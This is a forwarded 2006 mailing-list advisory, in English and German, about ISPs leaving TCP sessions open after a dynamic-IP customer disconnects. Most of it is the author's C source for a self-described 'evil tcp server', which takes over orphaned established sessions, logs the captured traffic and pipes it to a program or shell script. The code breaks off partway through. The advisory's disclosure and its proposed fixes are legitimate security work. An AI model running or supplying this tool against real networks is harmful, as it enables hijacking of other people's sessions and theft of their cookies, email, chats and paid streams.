Consumers of Broadband Providers (ISP) may be open to hijack attacks (fwd)
---------- Forwarded message ---------- Date: Sun, 16 Jul 2006 06:36:15 +0200 (CEST) From: peter_philipp@freenet.de To: security@heise.de Cc: bugtraq@securityfocus.com, risks@csl.sri.com, red@heisec.de Subject: Consumers of Broadband Providers (ISP) may be open to hijack attacks For this risk advisory in german please search down to "D> Deutsche Version".
Originator: Peter Philipp Organization: Daemonic Networks Synopsis: Consumer of Broadband Providers (ISP) may be open to hijack attacks Severity: serious Priority: medium Category: network security Class: systemic flaw
Description: Some ISP networks do not reset open TCP connections of customers that were either cut-off by the ISP or cut off by self-initiation. While it is responsibility of every person to terminate every open connection before link termination, when the ISP initiates this, it cannot be guaranteed. A customer who happens to resume a recycled dynamic IP can then read the previous persons open sessions. With streaming mp3 radio services that work on a per-pay basis, this can result in substantial monetary losses, not to mention porn streaming. Further unencrypted email can be read and website cookies can be assumed to continue private Web sessions. How-To-Repeat: With a stateful firewall one can determine TCP traffic that has no state registered with the firewall and if the TCP flags do not match SYN, FIN, or RST, one can assume open connection and continue them. Interesting things have been captured, including, IRC chat sessions, HTTP downloads and POP3 sessions theoretically could also be continued. Software[1] written for BSD Unix follows this advisory, that can re-assume open sessions. Fix: After a dynamic customer terminates a broadband connection, network access servers should terminate any TCP traffic with an RST reply, and give at least a minute time for any retransmissions to be caught. If this is not wanted by the network architect, perhaps a stateful firewall keeping states for customers per session. This is not a good solution though because some people do not want a firewall between their end-user connection and the open Internet, their privacy from this should be accepted. Another security programmer that I contacted, suggested that dynamic IP addresses perhaps be more static with end-users, but I personally don't think this is a good solution either as this puts the anonymity of end-users at stake, and goes against the philosophy of anonymity that the forefathers of the Internet thought out. On the consumers side one can protect themselves by only using encrypted communications, as this makes reading of personal data difficult.
Thank yous: Thanks to Daniel Hartmeier for his suggestions on how to remedy this.
Anniversaries: On this day 12 years ago, in 1994, Comet Shoemaker-Levy 9 first touched Jupiter and left considerable scars. When will humankind realise that nature has not ceased being your foe. Stop wasting resources warring each other and prepare against your true enemy, that being nature. Nature will never allow humankind to replace it as humankinds prime enemy.
D> Deutsche Version D> Bericht von: Peter Philipp D> Organisation: Daemonic Networks D> Beschreibung: Vebraucher von Breitband Provider (ISP) koennten Hijack-Attacken erleben D> Einstufung: ernst D> Prioritaet: mittel D> Kategorie: Netzwerk Sicherung D> Klasse: Systematischer Fehler D> Detailierte Beschreibung: Manche ISP Netzwerke terminieren offene TCP Verbindungen nicht, von Kunden die entweder abgeschnitten vom ISP, oder selbst die Broadband Verbindung getrennt haben. Da es die eigene Verantwortung von jeder Person ist ihre eigenen TCP Verbindungen zu trennen, bevor sie ihr Breitband trennen oder den Computer abschalten, kann man nichts sagen. Aber wenn der ISP die Trennung iniziert ist es die Verantwortung des ISPs die offenen TCP Verbindungen auch zu trennen. Ein Kunde der auf einer wiederbenutzten Dynamischen IP Adresse stoesst, die offene TCP Verbindungen haelt, kann man die Verbindung weiter steuern und Private Daten ablesen. Mit MP3 Streaming von Online-Radio das auf Bezahlung ihre Musik teilt dies kann teuer werden. Auch mit Porn-Streaming. Weiter koennen unverschluesselte E-Mails gelesen werden und Web Cookies koennen Authentifizierte Web Verbindungen uebernehmen and Persoenliche Daten koennen gelesen werden. D> Wie zu wiederholen: Mit einer "stateful" Firewall kann man TCP Verbindungen/Packete aussortieren die keine registrierten "states" (zustaende) haben und die nicht die TCP Flaggen SYN, FIN oder RST besitzen. Somit kann die Verbindung weiter uebernommen werden (TCP Hijack). Interessante Dinge sind schon bereits abgelesen worden waerend der Demo-Software Implementierungs Phase, so wie IRC Chat, HTTP Verbindungen und theoretisch POP3 Verbindungen die nicht verschluesselt sind. Software[1] geschrieben auf BSD Unix ist am Ende dieser Nachricht angebunden, das diesen Fehler ausnuetzt. D> Behebung: Nachdem ein Dynamisch-IP nutzender Kunde die Breitband Verbindung trennt, sollten Netzwerk Access Server alle TCP Verbindungen/Packete trennen mit einem TCP RST die nach der Trennung noch vom Netz zu der IP fliessen. Wenigstens fuer eine Minute sollte kein neuer Kunde die IP Adressen uebernehmen um zu Garantieren das alle wiederholten TCP Transmissionen (engl. retransmissions) abgekuerzt werden koennen. Falls der angehoerige Netzwerk Architekt dies nicht bevorzugt fuer was-auch-immer Gruende, koennte eine Stateful Firewall einzelne Kunden-Verbindungen schuetzen. Dies ist nicht geraten da es Komplex ist und nicht die Privatsphaere des Verbrauchers schuetzt. Manche Kunden wollen auch keine Firewall zwischen ihnen und dem offenen Netz, und ihre wuensche sollten akzeptiert werden. Ein Security Programmierer mit dem ich Kontakt hatte, schlug vor das vielleicht Dynamische IP Adressen des Verbrauchers mehr Statisch gemacht werden, aber persoenlich denke ich das dies nicht eine Loesung ist. Es geht gegen die Internet Philosophie der Anonymitaet. Und koennte der Privatsphaere eines Breitband Kundens schaden. Einzelne Kunden koennen sich schuetzen mit Verschluesselten Protokollen, da es das lesen Privater Daten erschwert. D> Dankeschoens: Vielen dank zu Daniel Hartmeier fuer seine Hilfe Loesungen zu finden. D> An diesem Tag: An diesem Tag vor 12 Jahren, in 1994, beruehrte der Komet Shoemaker-Levy 9 zuerst den Planeten Jupiter und hinterlies betraechtliche Wunden. Wann wird die Menschheit einsehen das die Natur, unser eigentlicher Feind, nie besiegt wurde. Stoppt die Verschwenderei von Krieg gegen euch selber und macht euch bereit der Natur ins Auge zu sehen, wenn Sie kommt. Die Natur wird nie erlauben das der Mensch Sie vergisst als den groessten Feind der Menschheit. [1] /* * Copyright (c) 2006 Peter Philipp * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ /* * this is an evil tcp server, it allows taking over states that are already * in the established state, based on mytcp */ #include <sys/param.h> #include <sys/socket.h> #ifdef __OpenBSD__ #include <sys/timeout.h> #endif #include <sys/time.h> #include <sys/wait.h> #include <sys/sysctl.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <net/if.h> #include <net/if_tun.h> #include <net/if_arp.h> #include <net/ethertypes.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_var.h> #include <netinet/ip_icmp.h> #include <netinet/if_ether.h> #define TCPSTATES #include <netinet/tcp_fsm.h> #include <netinet/tcp_timer.h> #include <netinet/tcp_seq.h> #include <netinet/tcp.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <pcap.h> #include <fcntl.h> #include <errno.h> #include <signal.h> #include <pwd.h> /* #include "pjp.h" */ #ifndef TCPS_RESET #define TCPS_RESET 11 #endif #define POINT_A "192.168.0.1" #define POINT_B "192.168.0.2" #define NETMASK "255.255.255.0" #define POINT_C "192.168.1.1" int schedfin = 0; int sigpipe = 0; u_int16_t win = 0x4000; int blast = 1; pcap_t *p; /* unfortunate */ int clogger; /* XXX */ char *exec_prog = "/bin/date"; const u_int32_t gaf = AF_INET; char *script = NULL; int use_script = 0; char *pointa = POINT_A , *pointb = POINT_B; char *netmask = NETMASK; int run_privileged = 0; u_char mymac[ETHER_ADDR_LEN]; u_char routermac[ETHER_ADDR_LEN]; u_char broadcastmac[ETHER_ADDR_LEN]; in_addr_t myip; in_addr_t routerip; extern char **environ; struct sess { int raw; /* XXX */ int state; /* state of socket */ int fd; /* socketpair end */ u_int16_t mss; /* MSS of remote */ u_int32_t ack; /* connection ack */ u_int32_t seq; /* connection seq */ in_addr_t remote; /* remote ip */ in_addr_t local; /* local ip */ u_short rport; /* remote port */ u_short lport; /* local port */ u_int8_t ttl; /* TTL XXX */ time_t syntime; /* replied syn timer */ time_t last_used; /* last time this was used */ int sigpipe; /* received a pipe */ char *data; /* data read */ pid_t child; /* script child */ int totallen; /* total data read */ int len; /* data read len */ struct sess *previous; /* previous */ struct sess *next; /* next */ }; /* prototypes */ u_int16_t ip_cksum(u_int16_t *p, int len); u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip); void handler(int fd, u_char *data, int len, u_char *session); void reply_arp(int fd, u_char *data, int len); void synack(struct sess*); void send_ack(struct sess*, u_int8_t, int); void onpipe(int); void onchld(int); void onalrm(int); void print_state(int); void sendfin(struct sess *s); void get_data(struct sess *, u_char *, int); int get_ifmtu(char *name); int clog_port(void); int send_push(struct sess *, u_int8_t, char *, int); int set_ip4header(struct ip *ip, struct ip *hints); int oursocket(struct sess *, struct ip *, struct tcphdr *); int open_raw(int proto); u_long inc_seq(u_long seq, int inc); int open_tunnel(void); int open_tun(char *name, int len); int set_tunmode(int fd, int mode); int check_tundev(int fd); int del_ifip(char *name, char *ip); int set_ifip(char *name, char *, char *, int af); int set_ifpop(char *name, char *point1, char *point2, char *netmask); short get_ifflags(char *name); int set_ifflags(char *name, short flags); int set_ifup(char *name); int set_ifdown(char *name); int set_ifmtu(char *name, int mtu); int get_ifmtu(char *name); in_addr_t get_ifaddr(char *name); void reply_icmp(int, char *, int); void arplookup(int); int write_frame(int, char *, int); /* mainly nonsense */ int main(int argc, char *argv[]) { pid_t pid; int fd[2]; int status; int logfd; char *logfile = "/root/eviltcp.log"; struct bpf_program bp; struct sess SESSION; struct sess *init_pcb; struct sess *cur_pcb; struct sess *tmp_pcb; int mode, rlen; int i; char *interface = "lo0"; char *buf, *port = "80"; char *buf2; char compile_str[512]; int mtu; int sfd; u_char tbuf[2000]; int len; struct in_addr dummy; char *safe_data, *p; memset(broadcastmac, 0xff, sizeof(broadcastmac)); while ((i = getopt(argc, argv, "a:b:c:i:l:n:p:r:s:P")) != -1) { switch (i) { case 'l': logfile = optarg; break; case 'a': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag a: invalid address %s\n", optarg); exit(1); } pointa = optarg; myip = inet_addr(pointa); mymac[0] = 0; memcpy ((char *)&mymac[1], (char *)&myip, sizeof(u_int32_t)); mymac[5] = 0x1; break; case 'b': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag b: invalid address %s\n", optarg); exit(1); } pointb = optarg; break; case 'n': if (inet_aton(optarg, &dummy) != 1) { fprintf(stderr, "flag n: invalid netmask %s\n", optarg); exit(1); } netmask = optarg; break; case 'c': exec_prog = optarg; break; case 'i': interface = optarg; break; case 'p': port = optarg; break; case 'r': routerip = inet_addr(optarg); break; case 's': script = optarg; use_script = 1; break; case 'P': run_privileged = 1; break; default: exit(1); break; } } chdir("/"); #if 0 if ((mtu = get_ifmtu(interface)) < 0 || mtu > 1500) mtu = 1500; /* set some default */ #endif mtu = 1500; mtu -= (sizeof(u_int32_t) + sizeof(struct ip) + sizeof(struct tcphdr)); if ((buf = calloc(1, mtu)) == NULL) { perror("calloc"); exit(1); } if ((buf2 = calloc(1, mtu)) == NULL) { perror("calloc"); exit(1); } signal(SIGPIPE, onpipe); signal(SIGCHLD, onchld); signal(SIGALRM, onalrm); memset(&SESSION, 0, sizeof(SESSION)); sfd = open_tunnel(); /* find out our router's MAC address */ arplookup(sfd); /* initialize first pcb's */ if ((init_pcb = calloc(1, sizeof(struct sess))) == NULL) { perror("calloc"); exit(1); } init_pcb->state = TCPS_LISTEN; /* initial in listen state */ init_pcb->next = NULL; /* end of chain */ #if 0 if ((init_pcb->raw = open_raw(IPPROTO_RAW)) < 0) { perror("open_raw"); exit(1); } #endif init_pcb->raw = sfd; if (mode = fcntl(sfd, F_GETFL, 0) < 0) perror("fcntl"); if (fcntl(sfd, F_SETFL, mode | O_NONBLOCK) < 0) perror("fcntl"); daemon(0,0); /* mainloop */ for (;;) { for (cur_pcb = init_pcb->previous; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { switch (cur_pcb->state) { case TCPS_LISTEN: /* NOOP */ break; case TCPS_ESTABLISHED: /* do needed processing */ if (cur_pcb->len > 0) { #if 0 printf("writing %d bytes\n", cur_pcb->len); #endif if (use_script) { safe_data = malloc(cur_pcb->len); if (safe_data != NULL) { memcpy(safe_data, cur_pcb->data, cur_pcb->len); p = safe_data; for (i = 0; i < cur_pcb->len; i++) { if (*p == '`' || *p == '$') { *p = '.'; } p++; } errno = 0; if (write(cur_pcb->fd, safe_data, cur_pcb->len) < 0) { if (errno == EPIPE) cur_pcb->sigpipe = 1; break; } free(safe_data); } } else { errno = 0; if (write(cur_pcb->fd, cur_pcb->data, cur_pcb->len) < 0) { if (errno == EPIPE) cur_pcb->sigpipe = 1; break; } } logfd = open(logfile, O_CREAT | O_APPEND | O_WRONLY | O_EXLOCK, 0600); if (logfd != -1) { write(logfd, cur_pcb->data, cur_pcb->len); close(logfd); } /* update our ack as we wrote the data to the application */ cur_pcb->ack = inc_seq(cur_pcb->ack, cur_pcb->len); send_ack(cur_pcb, TH_ACK, cur_pcb->ack); /* XXX */ cur_pcb->last_used = time(NULL); free (cur_pcb->data); cur_pcb->data = NULL; cur_pcb->totallen += cur_pcb->len; cur_pcb->len = 0; } errno = 0; if ((rlen = recv(cur_pcb->fd, buf, mtu, 0)) < 0) { if (errno == EWOULDBLOCK) { #if 0 printf("blocked on input breaking out\n"); #endif break; } perror("recv"); break; } if (rlen == 0) { /* * send a fin only if we had written * data before and there ain't nothing * coming back */ if (cur_pcb->totallen) { /* send fin */ sendfin(cur_pcb); cur_pcb->state = TCPS_FIN_WAIT_1; #if 0 printf("pcb %x state now FIN_WAIT_1\n", cur_pcb); #endif } break; } if (recv(cur_pcb->fd, buf2, mtu, MSG_PEEK) == 0) { #if 0 printf("peeked and ending conn\n"); #endif while (send_push(cur_pcb, TH_FIN, buf, rlen) < 0) ; cur_pcb->last_used = time(NULL); cur_pcb->seq = inc_seq(cur_pcb->seq, rlen); cur_pcb->state = TCPS_FIN_WAIT_1; #if 0 printf("pcb %x state now FIN_WAIT_1\n", cur_pcb); #endif break; } /* else */ while (send_push(cur_pcb, 0, buf, rlen) < 0) ; cur_pcb->seq = inc_seq(cur_pcb->seq, rlen); cur_pcb->last_used = time(NULL); break; case TCPS_FIN_WAIT_1: /* active close do nothing */ break; case TCPS_FIN_WAIT_2: /* this is another do nothing unfortunately */ break; case TCPS_TIME_WAIT: /* we're on the timeout list ignore */ break; case TCPS_CLOSE_WAIT: /* we've received a FIN, send ack, send fin */ /* send ack */ /* send fin */ cur_pcb->state = TCPS_LAST_ACK; #if 0 printf("pcb %x state now LAST_ACK\n", cur_pcb); #endif break; case TCPS_RESET: /* send reset */ cur_pcb->state = TCPS_CLOSED; #if 0 printf("pcb %x state now CLOSED\n", cur_pcb); #endif break; case TCPS_CLOSED: /* this socket is closed remove it */ break; } } errno = 0; if ((len = read(sfd, tbuf, sizeof(tbuf))) < 0) { if (errno != EWOULDBLOCK) perror("read"); goto end; } if (len > 0) handler(sfd, tbuf, len, (u_char*)init_pcb); end: usleep(500); for (cur_pcb = init_pcb->previous; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { time_t now; now = time(NULL); if (difftime(now, cur_pcb->last_used) >= 300) { close(cur_pcb->fd); kill(cur_pcb->child, SIGTERM); cur_pcb->next->previous = cur_pcb->previous; if (cur_pcb->previous != NULL) { cur_pcb->previous->next = cur_pcb->next; tmp_pcb = cur_pcb; cur_pcb = cur_pcb->next; free(tmp_pcb); } else { free(cur_pcb); break; } } } } /* NOTREACHED */ } void handler(int sfd, u_char *data, int len, u_char *session) { struct ip *ip; struct tcphdr *tcp; struct sess *s; struct ether_header *eh = (struct ether_header *)data; struct sess *init_pcb; struct sess *cur_pcb, *next_pcb; int optlen; int i, raw; int mode; int fd[2]; char *prog; uid_t uid; struct passwd *pw; pid_t pid; #if 0 printf("in handler\n"); #endif s = (struct sess *) session; init_pcb = (struct sess *)session; raw = s->raw; if (ntohs(eh->ether_type) == ETHERTYPE_ARP) { reply_arp(sfd, data, len); return; } if (memcmp(broadcastmac, eh->ether_dhost, sizeof(broadcastmac)) == 0 || (eh->ether_dhost[0] & 0x1 == 0x1) || (ntohs(eh->ether_type) != ETHERTYPE_IP )) { /* not an ip or arp frame, or destined for broadcast/multicast */ return; } data += sizeof(struct ether_header); len -= sizeof(struct ether_header); if (len < sizeof(struct ip)) { return; } #if 0 printf("recieved packet\n"); for (i=0; i< len; i++) { printf("%02x", data[i] & 0xff); if (i && i % 16 == 0) printf("\n"); } printf("\n"); #endif ip = (struct ip *)data; /* IP options not recognized */ if (ip->ip_hl << 2 != sizeof(struct ip)) return; if (ip_cksum((u_int16_t *)ip, sizeof(struct ip)) != 0) return; if (ip->ip_v != IPVERSION) return; if (ip->ip_p == IPPROTO_ICMP) { reply_icmp(sfd, data, len); return; } if (ip->ip_p != IPPROTO_TCP) { return; } data += sizeof(struct ip); len -= sizeof(struct ip); if (len < sizeof(struct tcphdr)) return; tcp = (struct tcphdr*)data; data += sizeof(struct tcphdr); len -= sizeof(struct tcphdr); /* we only want to process foreign packets, our own is irrelevant */ if (ip->ip_src.s_addr == s->local && tcp->th_sport == s->lport) return; /* checksum tcp header */ if (tcp_cksum((u_int16_t *)tcp, len + sizeof(struct tcphdr), ip) != 0) return; /* pullup options */ if ((optlen = ((tcp->th_off << 2) - sizeof(struct tcphdr))) > 0) { if (optlen > len) return; data += optlen; len -= optlen; } #if 0 printf("len now = %d\n", len); #endif /* find corresponding PCB */ for (cur_pcb = init_pcb; cur_pcb != NULL; cur_pcb = cur_pcb->previous) { if (cur_pcb->local == ip->ip_dst.s_addr && cur_pcb->remote == ip->ip_src.s_addr && cur_pcb->lport == tcp->th_dport && cur_pcb->rport == tcp->th_sport) { /* we have one such pcb in our list */ break; } } if (cur_pcb == NULL) { #if 0 printf("creating new pcb\n"); #endif /* create new pcb and attach at front of chain */ if ((cur_pcb = calloc(1, sizeof(struct sess))) == NULL) { perror("calloc"); /* oh dear */ } if ((tcp->th_flags & TH_FIN) == TH_FIN || (tcp->th_flags & TH_RST) == TH_RST || (tcp->th_flags & TH_SYN) == TH_SYN) { /* send rst, not for us */ free(cur_pcb); return; } cur_pcb->next = init_pcb; cur_pcb->previous = NULL; init_pcb->previous = cur_pcb; cur_pcb->state = TCPS_ESTABLISHED; cur_pcb->local = ip->ip_dst.s_addr; cur_pcb->remote = ip->ip_src.s_addr; cur_pcb->lport = tcp->th_dport; cur_pcb->rport = tcp->th_sport; cur_pcb->seq = tcp->th_ack; cur_pcb->ack = tcp->th_seq; cur_pcb->raw = init_pcb->raw; if (socketpair(AF_UNIX, SOCK_STREAM, 0, (int *)&fd) < 0) { perror("socketpair"); return; } switch (pid = fork()) { case -1: perror("fork"); return; case 0: /* drop privileges */ pw = getpwnam("nobody"); if (pw != NULL) { uid = pw->pw_uid; } else { uid = -1; } if (! run_privileged ) setresuid(uid, uid, uid); /* child */ /* XXX */ close(fd[0]); dup2(fd[1], STDIN_FILENO); dup2(fd[1], STDOUT_FILENO); close(fd[1]); { char tbuf[512]; snprintf(tbuf, sizeof(tbuf), "EVILTCP_TTL=%d", cur_pcb->ttl); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCIP=%s", inet_ntoa(cur_pcb->remote)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTIP=%s", inet_ntoa(cur_pcb->local)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_SRCPORT=%u", ntohs(cur_pcb->rport)); putenv(tbuf); snprintf(tbuf, sizeof(tbuf), "EVILTCP_DSTPORT=%u", ntohs(cur_pcb->lport)); putenv(tbuf); } prog = strrchr(exec_prog, '/'); prog++; if (use_script) { execle("/bin/sh", "sh", "-c", script, NULL, environ); } else { execle(exec_prog, prog, NULL, environ); } perror("execl"); exit(1); default: close(fd[1]); cur_pcb->fd = dup(fd[0]); cur_pcb->child = pid; close(fd[0]); if (mode = fcntl(cur_pcb->fd, F_GETFL, 0) < 0) perror("fcntl"); if (fcntl(cur_pcb->fd, F_SETFL, mode | O_NONBLOCK) < 0) perror("fcntl"); break; } #if 0 printf("pcb %x state now SYN_RECEIVED\n", cur_pcb); #endif /* init_pcb = cur_pcb; */ #if 0 return; /* no need to go further */ #endif } cur_pcb->last_used = time(NULL); #if 0 printf("pcb %x state: ", cur_pcb); print_state(cur_pcb->state); #endif switch (cur_pcb->state) { case TCPS_LISTEN: break; case TCPS_ESTABLISHED: if (len <= 0) break; get_data(cur_pcb, data, len); /* XXX */ #if 0 printf("cur_pcb->len = %d\n", cur_pcb->len); #endif break; /* * Remember, any and all packets can come in unordered, XXX * good thing there is retransmissions */ case TCPS_FIN_WAIT_1: if (tcp->th_flags == TH_ACK && tcp->th_ack == inc_seq(cur_pcb->seq, 1)) { cur_pcb->seq = inc_seq(cur_pcb->seq, 1); cur_pcb->state = TCPS_FIN_WAIT_2; #if 0 printf("pcb %x state now FIN_WAIT_2\n", cur_pcb); #endif } break; case TCPS_FIN_WAIT_2: if (tcp->th_flags & (TH_FIN | TH_ACK) != (TH_FIN | TH_ACK)) { /* reset ? */ } /* * XXX, got FIN ack it, this is the only time that we send * any packet in the handler */ // cur_pcb->ack = inc_seq(cur_pcb->ack, 1); send_ack(cur_pcb, TH_RST, cur_pcb->ack); cur_pcb->last_used = time(NULL); cur_pcb->state = TCPS_TIME_WAIT; #if 0 printf("pcb %x state now TIME_WAIT\n", cur_pcb); #endif break; default: break; } return; } void synack(struct sess *s) { send_ack(s, TH_SYN | TH_ACK, inc_seq(s->ack, 1)); s->last_used = time(NULL); return; } void send_ack(struct sess *sess, u_int8_t flags, int inc) { u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i; u_int32_t *af; s = sess->raw; #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)]; memset(buf, 0, sizeof(buf)); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = inc; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_ACK | (flags); new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = sess->remote; #if 0 for (i = 0; i < sizeof(buf); i++) { printf("%02x", buf[i] & 0xff); if (i && i % 16 == 0) { printf("\n"); } } printf("\n"); #endif if (write_frame(s, buf, sizeof(buf)) < 0) { perror("write_frame 1"); } } /* * A good idea to disable functionality of a port */ int clog_port(void) { struct sockaddr_in sin; int s; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { perror("socket"); return -1; } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(80); sin.sin_addr.s_addr = inet_addr("172.16.0.2"); if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) < 0) { perror("bind"); return -1; } return s; } void print_state(int state) { if (state == TCPS_RESET) return; printf("state = %s\n", tcpstates[state]); return; } u_long inc_seq(u_long seq, int inc) { int _seq; _seq = ntohl(seq); _seq += inc; return(htonl(_seq)); } void sendfin(struct sess *sess) { u_char buf[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i; u_int32_t *af; s = sess->raw; #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr*)&buf[sizeof(struct ip)]; memset(buf, 0, sizeof(buf)); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(sizeof(struct ip) + sizeof(struct tcphdr)); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = sess->ack; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_FIN | TH_ACK; new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr), new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; if (write_frame(s, buf, sizeof(buf)) < 0) { perror("write_frame 2"); } } void onpipe(int nono) { sigpipe = 0; } void onalrm(int non) { return; } void onchld(int nono) { int status; while (waitpid(0, &status, WNOHANG) > 0) ; /* sigpipe = 1; */ } int oursocket(struct sess *s, struct ip *ip, struct tcphdr *tcp) { if (s->rport != tcp->th_sport || s->lport != tcp->th_dport || s->remote != ip->ip_src.s_addr || s->local != ip->ip_dst.s_addr) return -1; return 0; } int send_push(struct sess *sess, u_int8_t flags, char *data, int datalen) { u_char *buf; struct ip *new_ip; struct ip hints; struct tcphdr *new_tcp; struct sockaddr_in sin; int s; int on = 1; int i, newlen; u_int32_t *af; s = sess->raw; newlen = sizeof(struct ip) + sizeof(struct tcphdr) + datalen; buf = calloc(1, newlen); if (buf == NULL) { perror("calloc"); return; } #if 0 af = (u_int32_t *)&buf[0]; new_ip = (struct ip *)&buf[sizeof(u_int32_t)]; new_tcp = (struct tcphdr*)&buf[sizeof(u_int32_t) + sizeof(struct ip)]; #endif new_ip = (struct ip *)&buf[0]; new_tcp = (struct tcphdr *)&buf[sizeof(struct ip)]; memcpy((char*)(buf + sizeof(struct ip) + sizeof(struct tcphdr)),data, datalen); memset(&hints, 0, sizeof(hints)); hints.ip_len = htons(newlen); hints.ip_p = IPPROTO_TCP; hints.ip_src.s_addr = sess->local; hints.ip_dst.s_addr = sess->remote; set_ip4header(new_ip, &hints); new_tcp->th_sport = sess->lport; new_tcp->th_dport = sess->rport; new_tcp->th_seq = sess->seq; new_tcp->th_ack = sess->ack; new_tcp->th_off = sizeof(struct tcphdr) >> 2; new_tcp->th_flags = TH_PUSH | TH_ACK | flags; new_tcp->th_win = htons(0x4000); new_tcp->th_sum = 0; new_tcp->th_urp = 0; /* compute checksums? */ new_tcp->th_sum = tcp_cksum((u_short *)new_tcp, sizeof(struct tcphdr) + datalen, new_ip); new_ip->ip_sum = ip_cksum((u_short *)new_ip, sizeof(struct ip)); memset((char *)&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; if (write_frame(s, buf, newlen) < 0) { perror("write_frame 3"); free(buf); return -1; } free(buf); return 0; } /* ----------------------------------- IMPORTED ----------------------- */ /* BEGIN ip_cksum */ /* * IP_CKSUM - compute the ones complement sum of the ones complement of 16 bit * numbers */ u_int16_t ip_cksum(u_int16_t *p, int len) { register int nleft = len; register u_int16_t *w = p; register int sum = 0; u_int16_t answer; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } /* END ip_cksum */ /* BEGIN tcp_cksum */ /* * TCP_CKSUM - compute the checksum with a pseudo header of the IP packet * */ u_int16_t tcp_cksum(u_int16_t *addr, int len, struct ip *ip) { union { struct ph { in_addr_t src; in_addr_t dst; u_int8_t pad; u_int8_t proto; u_int16_t len; } s; u_int16_t i[6]; } ph; register int nleft = len; register u_int16_t *w = &ph.i[0]; register int sum; memcpy(&ph.s.src, &ip->ip_src.s_addr, sizeof(in_addr_t)); memcpy(&ph.s.dst, &ip->ip_dst.s_addr, sizeof(in_addr_t)); ph.s.pad = 0; ph.s.proto = ip->ip_p; ph.s.len = htons(len); sum = w[0] + w[1] + w[2] + w[3] + w[4] + w[5]; w = addr; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { sum += htons((*(const char *)w) << 8); } while (sum > 0xffff) sum = (sum & 